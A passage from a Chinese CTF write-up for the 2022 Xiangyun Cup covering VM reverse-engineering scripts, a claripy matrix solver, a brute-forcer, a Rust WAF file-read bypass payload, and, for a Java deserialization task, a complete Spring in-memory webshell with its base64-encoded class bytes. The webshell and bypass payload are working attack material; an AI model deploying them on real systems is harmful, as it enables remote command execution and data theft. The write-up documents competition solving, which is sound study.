end='') case 49: print(f'add2();', end='') case 50: print(f'add4();', end='') case 51: print(f'add8();', end='') case 56: print(f'and1();', end='') case 57: print(f'and2();', end='') case 58: print(f'and4();', end='') case 59: print(f'and8();', end='') case 60: print(f'and16();', end='') case 64: cmp_type = fetch() print(f'xf = cmp1({cmp_types[cmp_type]});', end='') case 65: cmp_type = fetch() print(f'xf = cmp2({cmp_types[cmp_type]});', end='') case 66: cmp_type = fetch() print(f'xf = cmp4({cmp_types[cmp_type]});', end='') case 67: cmp_type = fetch() print(f'xf = cmp8({cmp_types[cmp_type]});', end='') case 68: cmp_type = fetch() print(f'xf = cmp16({cmp_types[cmp_type]});', end='') case 72: sig = fetch() print(f'div1();', end='') case 73: sig = fetch() print(f'div2();', end='') case 74: sig = fetch() print(f'div4();', end='') case 75: sig = fetch() print(f'div8();', end='') case 76: sig = fetch() print(f'div16();', end='') case 80: sig = fetch() print(f'mod1();', end='') case 81: sig = fetch() print(f'mod2();', end='') case 82: sig = fetch() print(f'mod4();', end='') case 83: sig = fetch() print(f'mod8();', end='') case 84: sig = fetch() print(f'mod16();', end='') case 88: sig = fetch() print(f'mul1();', end='') case 89: sig = fetch() print(f'mul2();', end='') case 90: sig = fetch() print(f'mul4();', end='') case 91: sig = fetch() print(f'mul8();', end='') case 92: sig = fetch() print(f'mul16();', end='') case 96: print(f'or1();', end='') case 97: print(f'or2();', end='') case 98: print(f'or4();', end='') case 99: print(f'or8();', end='') case 100: print(f'or16();', end='') case 104: print(f'sar1();', end='') case 105: print(f'sar2();', end='') case 106: print(f'sar4();', end='') case 107: print(f'sar8();', end='') case 108: print(f'sar16();', end='') case 120: print(f'shr1();', end='') case 121: print(f'shr2();', end='') case 122: print(f'shr4();', end='') case 123: print(f'shr8();', end='') case 124: print(f'shr16();', end='') case 112: print(f'shl1();', end='') case 113: print(f'shl2();', end='') case 114: print(f'shl4();', end='') case 115: print(f'shl8();', end='') case 116: print(f'shl16();', end='') case 128: print(f'sub1();', end='') case 129: print(f'sub2();', end='') case 130: print(f'sub4();', end='') case 131: print(f'sub8();', end='') case 132: print(f'sub16();', end='') case 136: print(f'xor1();', end='') case 137: print(f'xor2();', end='') case 138: print(f'xor4();', end='') case 139: print(f'xor8();', end='') case 140: print(f'xor16();', end='') case 152: print(f'not1();', end='') case 153: print(f'not2();', end='') case 154: print(f'not4();', end='') case 155: print(f'not8();', end='') case 156: print(f'not16();', end='') case 194: n = fetch() if n == 1: print(f'nop();', end='') else: print(f'mov_{n}();', end='') case 160: print(f'exit();', end='') case _: print(opcode) print()vm_parse()

用正则替换优化伪代码

import rebaby = [ ["""read_x86reg((.*));L.{4}: push_imm1((.*));L.{4}: add8();L.{4}: push_imm2((.*));L.{4}: add8();""", 'push(g<1>+g<2>+g<3>);'], ["""read_x86reg((.*));L.{4}: push_imm2((.*));L.{4}: add8();""", 'push(g<1>+g<2>);'], ["""read_x86reg((.*));L.{4}: push_imm1((.*));L.{4}: add8();""", 'push(g<1>+g<2>);'], ["""read_x86reg((.*));L.{4}: push_imm1((.*));L.{4}: sub8();""", 'push(g<1>-g<2>);'], ["""push((.*));L.{4}: push_imm1((.*));L.{4}: sub8();""", 'push((g<1>)-g<2>);'], ["""push((.*));L.{4}: push_imm2((.*));L.{4}: sub8();""", 'push((g<1>)-g<2>);'], ["""read_x86reg((.*));L.{4}: push((.*));L.{4}: add8();""", 'push(g<1>+(g<2>));'], ["""push((.*));L.{4}: push((.*));L.{4}: add8();""", 'push((g<1>)+(g<2>));'], ["""read_x86reg((.*));L.{4}: push_imm4((.*));L.{4}: and8();""", 'push(g<1>&g<2>);'], ["""push((.*));L.{4}: push((.*));L.{4}: mul4();""", 'push((g<1>)*(g<2>));'], ["""push((.*));L.{4}: push_imm1(0x4);L.{4}: load();""", 'push(load_dword(g<1>));'], ["""push((.*));L.{4}: push_imm1(0x8);L.{4}: load();""", 'push(load_qword(g<1>));'], ["""push((.*));L.{4}: push_imm1(0x8);L.{4}: read_x86reg((.*));L.{4}: memcpy();""", 'write8(g<1>, g<2>);'], ["""push((.*));L.{4}: push_imm1(0x4);L.{4}: push_imm1((.*));L.{4}: memcpy();""", 'write4(g<1>, g<2>);'], ["""push((.*));L.{4}: push_imm1(0x4);L.{4}: push((.*));L.{4}: memcpy();""", 'write4(g<1>, g<2>);'], ["""push((.*));L.{4}: push_imm1((.*));L.{4}: add4();""", 'push((g<1>)+g<2>);'], ["""push((.*));L.{4}: push((.*));L.{4}: add4();""", 'push((g<1>)+(g<2>));'], ["""push((.*));L.{4}: push_imm1((.*));L.{4}: shl8();""", 'push(((g<1>)<<g<2>));'], ["""push((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""read_x86reg((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""push_imm1((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""push_imm2((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""push_imm4((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""push_reg4((.*));L.{4}: write_x86reg((.*));""", 'g<2> = g<1>;'], ["""push((.*));L.{4}: push_imm1((.*));L.{4}: add8();""", 'push((g<1>)+g<2>);'], ["""r17 = .*;L.{4}: r18 = .*;L.{4}: r19 = .*;L.{4}: """, ''], ["""rax = .*;L.{4}: """, ''], ["""rdx = .*;L.{4}: """, ''], ["""rcx = .*;L.{4}: """, ''], ["""rip = .*;L.{4}: """, ''], ["""push((.*));L.{4}: push((.*));L.{4}: xf = cmpd((.*));""", 'xf = (g<1>) g<3> (g<2>);'], ["""push((.*));L.{4}: push_imm1((.*));L.{4}: xf = cmpd((.*));""", 'xf = (g<1>) g<3> (g<2>);'], ["""push_imm4((.*));L.{4}: goto_fixme (L.{4});""", 'goto g<2>;'], ["""push_imm4((.*));L.{4}: if (xf) goto_fixme (L.{4});""", 'if (xf) goto g<2>;'], ["""L.{4}: nop();""", ''], ["""push(.*);L.{4}: tmp_d+ = pop_reg4();L.{4}: """, ''],]# 0x2384 v0# 0x2388 v1# 0x238c v2# 0x2390 v3# 0x2394 v4# 0x2398 v5# 0x239c v6# 0x23b0 v7 qword# 0x23b8 v8 qword# 0x23c0 v9# 0x23c8 v10baby2 = [ ["""write4(rsp+0x80""", 'write4(rbp'], ["""write8(rsp+0x80""", 'write8(rbp'], ["""load_dword(rsp+0x80""", 'load_dword(rbp'], ["""load_qword(rsp+0x80""", 'load_qword(rbp'], ["""write4(rbp+0x2384, (.*));""", 'v0 = g<1>;'], ["""write4(rbp+0x2388, (.*));""", 'v1 = g<1>;'], ["""write4(rbp+0x238c, (.*));""", 'v2 = g<1>;'], ["""write4(rbp+0x2390, (.*));""", 'v3 = g<1>;'], ["""write4(rbp+0x2394, (.*));""", 'v4 = g<1>;'], ["""write4(rbp+0x2398, (.*));""", 'v5 = g<1>;'], ["""write4(rbp+0x239c, (.*));""", 'v6 = g<1>;'], ["""write8(rbp+0x23b0, (.*));""", 'v7 = g<1>;'], ["""write8(rbp+0x23b8, (.*));""", 'v8 = g<1>;'], ["""write4(rbp+0x23c0, (.*));""", 'v9 = g<1>;'], ["""write4(rbp+0x23c8, (.*));""", 'v10 = g<1>;'], ["""load_dword(rbp+0x2384)""", 'v0'], ["""load_dword(rbp+0x2388)""", 'v1'], ["""load_dword(rbp+0x238c)""", 'v2'], ["""load_dword(rbp+0x2390)""", 'v3'], ["""load_dword(rbp+0x2394)""", 'v4'], ["""load_dword(rbp+0x2398)""", 'v5'], ["""load_dword(rbp+0x239c)""", 'v6'], ["""load_qword(rbp+0x23b0)""", 'v7'], ["""load_qword(rbp+0x23b8)""", 'v8'], ["""load_dword(rbp+0x23c0)""", 'v9'], ["""load_dword(rbp+0x23c8)""", 'v10'], # ['((vd+))', 'g<1>'],]def do_opt(): code = open('vm.txt').read() while True: h1 = hash(code) for exp, rep in baby: code = re.sub(exp, rep, code) if h1 == hash(code): break while True: h1 = hash(code) for exp, rep in baby2: code = re.sub(exp, rep, code) if h1 == hash(code): break open('vm_opt.txt', 'w').write(code)do_opt()

优化后的伪代码

L0000: write8(rsp-0x8, rbp);L000A: rsp = (rsp-0x8)-0x2420;L0015: rbp = rsp+0x80;L001C: matrix = rcx;L002A: key = rdx;L0038: v9 = r8&0xffffffff;L004C: v10 = r9&0xffffffff;L0060: xf = (v10) <= (v9);L00A8: if (xf) goto L00B4;L00AE: goto L087A;L00B4: xf = v9 <= 0x30;L00D4: if (xf) goto L00E0;L00DA: goto L087A;L00E0: v6 = 0x0;L00EB: goto L0639;L00F1: v5 = 0x0;L00FC: goto L05C2;L0102: v4 = 0x0;L010D: v3 = 0x0;L011F: goto L04C3;L0125: v2 = 0x0;L0130: goto L044C;L0136: xf = (v3+v6) < v9;L0198: if (xf) goto L01A4;L019E: goto L041A;L01A4: xf = ((v2)+(v5)) < (v9);L0206: if (xf) goto L0212;L020C: goto L041A;L0212: v4 += (load_dword(matrix+(((v2+((v9*(v3+v6))+v5))<<0x2))))*(load_dword(key+((((v2)+(v10*v3))<<0x2))));L0408: goto L041A;L041A: v2 = v2+0x1;L043A: goto L044C;L044C: xf = v2 < v10;L0485: if (xf) goto L0136;L048B: goto L0491;L0491: v3 += 0x1;L04B1: goto L04C3;L04C3: xf = (v3) < (v10);L04FC: if (xf) goto L0125;L0502: goto L0508;L0508: write4((rbp+(((((((v6<<0x1))+v6)<<0x4))+v5)<<0x2))-0x80, v4);L0589: v5 += 0x1;L05B0: goto L05C2;L05C2: xf = (v5) < (v9);L05FB: if (xf) goto L0102;L0601: goto L0607;L0607: v6 = (v6)+0x1;L0627: goto L0639;L0639: xf = (v6) < (v9);L0672: if (xf) goto L00F1;L0678: goto L067E;L067E: v1 = 0x0;L0689: goto L0835;L068F: v0 = 0x0;L069A: goto L07BE;L06A0: r8 = v0;L06DC: write4(((v0+v9*v1)<<0x2)+matrix, load_dword((rbp+(((((v1<<0x1)+v1)<<0x4)+v0)<<0x2))-0x80));L0785: v0 = (v0)+0x1;L07AC: goto L07BE;L07BE: xf = (v0) < (v9);L07F7: if (xf) goto L06A0;L07FD: goto L0803;L0803: v1 = (v1)+0x1;L0823: goto L0835;L0835: xf = (v1) < (v9);L086E: if (xf) goto L068F;L0874: goto L087A;L087A: rbp = load_qword(rsp+0x2420);L0892: rsp = ((rsp+0x2420)+0x8)+0x8;L08A7: exit();

用py重写算法并解密矩阵

import pprintfrom claripy import *key_matrix = [ [0x000000DE, 0x000000ED, 0x000000BE], [0x000000FE, 0x00000011, 0x000000F3], [0x0000003C, 0x000000F9, 0x000000FE],]v9 = 6v10 = 3matrix = [ [BVS('', 32) for _ in range(6)], [BVS('', 32) for _ in range(6)], [BVS('', 32) for _ in range(6)], [BVS('', 32) for _ in range(6)], [BVS('', 32) for _ in range(6)], [BVS('', 32) for _ in range(6)],]matrix_orig = []for i in range(6): matrix_orig.append(matrix[i][:])solve = Solver()for i in range(6): for j in range(6): solve.add( Or( And(matrix[i][j] >= ord('0'), matrix[i][j] <= ord('9')), And(matrix[i][j] >= ord('a'), matrix[i][j] <= ord('f')), And(matrix[i][j] >= ord('A'), matrix[i][j] <= ord('F')), ))enc_matrix = [ [0x00020B3D, 0x0001920F, 0x00020705, 0x0001C46F, 0x00015EB7, 0x000079D8], [0x0001E5D1, 0x0001A563, 0x0001E591, 0x0001E7E7, 0x00010E43, 0x00009C3A], [0x0001E8EF, 0x0001C8E6, 0x0001C9F5, 0x0001BC1F, 0x00013C14, 0x000098A6], [0x0001E90E, 0x0001C672, 0x0001E866, 0x000196B7, 0x0001307D, 0x00006C1A], [0x000166CF, 0x0001400F, 0x00013D7E, 0x00011D1F, 0x0000BE1D, 0x00006012], [0x0000AA6D, 0x00008490, 0x000088E6, 0x000088E6, 0x000060D2, 0x00002ED4]]if v10 <= v9 and v9 <= 0x30: for v6 in range(v9): for v5 in range(v9): v4 = 0 for v3 in range(v10): for v2 in range(v10): if v3+v6 < v9 and v2+v5 < v9: v4 += matrix[v3+v6][v2+v5]*key_matrix[v3][v2] matrix[v6][v5] = v4for i in range(6): for j in range(6): solve.add(matrix[i][j] == enc_matrix[i][j])mat = []for i in range(6): for j in range(6): mat.append(matrix_orig[i][j])for x in solve.batch_eval(mat, 10): print(bytes(x))# b'c9d0d8b8f8b216119ead79c61da6e1b16666'


machine:

go 编写的 vm 赛题,手动翻译成 py 脚本以便于调试vm 反编译的伪代码太长了看不懂,尝试动调找规律输入 b'x00'*50,断在 check 指令处能看到部分明文 flag,反复操作几次后就能得到完整 flag

import structpc = 0code = open('./code.dat', 'rb').read()def fetch8(): global pc v = struct.unpack_from('<Q', code, pc)[0] pc += 8 return vdef vm_exec(): global pc pc = 0 vm_stack = [] vm_regs = [0]*8 # 734f1698 # flag = b'734f1698'+b'a5775ec2'+b'6cd2e11e'+b'd4791e77'+bytes.fromhex('0d0a') flag = b'x00'*50 flag_index = 0 while pc < len(code): # print(f'{pc//8:04X} ', end='') opcode = fetch8() # print(f'{opcode:02X} ', end='') match opcode: case 0: op = fetch8() # print(f"push({op})", end='') vm_stack.append(op) case 1: op = fetch8() # print(f"push(r{op})", end='') vm_stack.append(vm_regs[op]) case 2: op = fetch8() # print(f"r{op} = pop()", end='') vm_regs[op] = vm_stack.pop(-1) case 3: # print(f"push(pop()+pop())", end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append((op1+op2)&0xFFFFFFFFFFFFFFFF) case 5: # print(f"push(pop()*pop())", end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append((op1*op2)&0xFFFFFFFFFFFFFFFF) case 7: # print(f'push(pop()^pop())', end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append((op1 ^ op2)&0xFFFFFFFFFFFFFFFF) case 8: # print(f'push(pop()<<pop())', end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append((op1 << op2)&0xFFFFFFFFFFFFFFFF) case 9: # print(f'push(pop()>>pop())', end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append(op1 >> op2) case 10: # print(f"push(~pop())", end='') op1 = vm_stack.pop(-1) vm_stack.append((~op1)&0xFFFFFFFFFFFFFFFF) case 11: # print(f"push(pop()&pop())", end='') op1 = vm_stack.pop(-1) op2 = vm_stack.pop(-1) vm_stack.append(op1 & op2) case 12: # print(f"push(read(1))", end='') vm_stack.append(flag[flag_index]) flag_index += 1 case 13: ch = fetch8() # print(f"write('{chr(ch)}')", end='') case 14: # print(f"check(pop() == 0)", end='') tmp = vm_stack.pop(-1) if tmp != 0: print(f'{pc//8:04X} ') print(bytes.fromhex(f'{tmp:016X}')) print() exit(0) case _: print(opcode) print(flag)vm_exec()


rocket:

跟着官网的反编译文档操作,但是反编译失败

手动测试几组加密数据,发现明文和密文头部存在某些规律,尝试黑盒爆破

import osimport stringfrom libnum import s2b, n2sfrom itertools import productdef enc(flag): try: os.unlink('output') except: pass # open('flag.txt', 'wb').write(flag.encode()) # os.system(f'cat flag.txt | ./chall > /dev/null') os.system(f'echo {flag} | ./chall > /dev/null') try: n = n2s(int(open('output').read())) except: n = b'' return nenc_flag = n2s(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181)def dfs(knowns): if len(knowns) >= len(enc_flag)//3: return for ch in product(string.ascii_lowercase+string.digits+'{}_?', repeat=1): flag = knowns+''.join(ch) print('r'+flag, end='') tmp = enc(flag) if tmp == enc_flag: print('ngot it') exit(0) if tmp and (tmp[len(flag)-1] & 0xf8) == (enc_flag[len(flag)-1] & 0xf8): if tmp[0:len(flag)-1] == enc_flag[0:len(flag)-1]: dfs(flag) elif tmp[0:len(flag)-2] != enc_flag[0:len(flag)-2]: break# ctf{th1s_is_re4lly_beaut1fly_r1ght?}# dfs('ctf{th')dfs('')
2022 第三届祥云杯 writeup by Arr3stY0u

WEB


funweb没做出来,如果有打野的web师傅做出来了的话可以免试加入我们战队,直接后台留言即可


RustWaf:

main.rs

use std::env;use serde::{Deserialize, Serialize};use serde_json::Value;static BLACK_PROPERTY: &str = "protocol";#[derive(Debug, Serialize, Deserialize)]struct File{ #[serde(default = "default_protocol")] pub protocol: String, pub href: String, pub origin: String, pub pathname: String, pub hostname:String}pub fn default_protocol() -> String { "http".to_string()}//protocol is default value,can't be customizedpub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ return String::from("./main.rs"); } if let Ok(json_body) = serde_json::from_str::<Value>(body) { if let Some(json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String::from("./main.rs"); } } //not contains protocol,check if struct is File if let Ok(file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String::from("./main.rs")); } } else{ //body not json return String::from(body); } return String::from("./main.rs");}fn main() { let args: Vec<String> = env::args().collect(); println!("{}", waf(&args[1]));}

app.js

const express = require('express');const app = express();const bodyParser = require("body-parser")const fs = require("fs")app.use(bodyParser.text({type: '*/*'}));const { execFileSync } = require('child_process');app.post('/readfile', function (req, res) { let body = req.body.toString(); let file_to_read = "app.js"; const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim(); try { file_to_read = JSON.parse(file) } catch (e){ file_to_read = file } let data = fs.readFileSync(file_to_read); res.send(data.toString());});app.get('/', function (req, res) { res.send('see `/src`');});app.get('/src', function (req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString());});app.listen(3000, function () { console.log('start listening on port 3000');});

一个 fs.readFileSync 的 trick,参考:https://brycec.me/posts/corctf_2022_challenges,然后

利用 rust 的解析差异

payload

["file:","a","a","/fl%61g",""]

2022 第三届“祥云杯” writeup by Arr3stY0u


ezjava:

cc4 组件,而且反序列的点没有任何限制,直接反序列化打内存马

2022 第三届“祥云杯” writeup by Arr3stY0u

内存马:

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.*;import java.lang.reflect.Method;import java.util.Scanner;public class poc_1 extends AbstractTranslet { public poc_1() throws IOException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = poc_1.class.getMethod("test"); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); poc_1 injectToController = new poc_1("xxx"); mappingHandlerMapping.registerMapping(info,injectToController,method); } public poc_1(String tmp){ } public void test() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); PrintWriter writer = response.getWriter(); String cmd = request.getParameter("cmd"); try{ String o = ""; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}); } Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A"); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } catch (Exception e) { response.sendError(404); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws Exception { poc_1 t = new poc_1(); }}编译后进行 base64 编码,base64 如下yv66vgAAADQA7QoAOQCACgCBAIIIAIMLAIQAhQcAhgcAhwsABQCIBwCJCABVBwCKCgAKAIsHAIwHAI0IAI4KAAwAjwcAkAcAkQoAEACSBwCTCgATAJQIAJUKAAgAlgoABgCXBwCYCgAYAJkKABgAmgsAmwCcCABjCwCdAJ4IAJ8IAKAKAKEAogoADQCjCACkCgANAKUHAKYIAKcIAKgKACQAjwgAqQgAqgcAqwoAJACsCgCtAK4KACoArwgAsAoAKgCxCgAqALIKACoAswoAKgC0CgC1ALYKALUAtwoAtQC0BwC4CwCbALkKAAgAgAcAugEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTHBvY18xOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN1cmwBAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBAAJtcwEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBABJpbmplY3RUb0NvbnRyb2xsZXIBAApFeGNlcHRpb25zBwC7BwC8AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADdG1wAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQTWV0aG9kUGFyYW1ldGVycwEABHRlc3QBAAFwAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAAFvAQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAIkHAL0HAL4HAL8HAI0HAKYHAKsHALgBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwDAAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAEAClNvdXJjZUZpbGUBAApwb2NfMS5qYXZhDAA6ADsHAMEMAMIAwwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAxAwAxQDGAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDADHAMgBAAVwb2NfMQEAD2phdmEvbGFuZy9DbGFzcwwAyQDKAQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBAAYvc2hlbGwMADoAegEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAOgDLAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAOgDMAQADeHh4DAA6AFEMAM0AzgEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAM8A0AwA0QDSBwC+DADTANQHAL0MANUA1gEAAAEAB29zLm5hbWUHANcMANgA1gwA2QDaAQADd2luDADbANwBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA3QDeBwDfDADgAOEMADoA4gEAA1xcQQwA4wDkDADlAOYMAOcA2gwA6AA7BwC/DADpAFEMAOoAOwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOsA7AEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2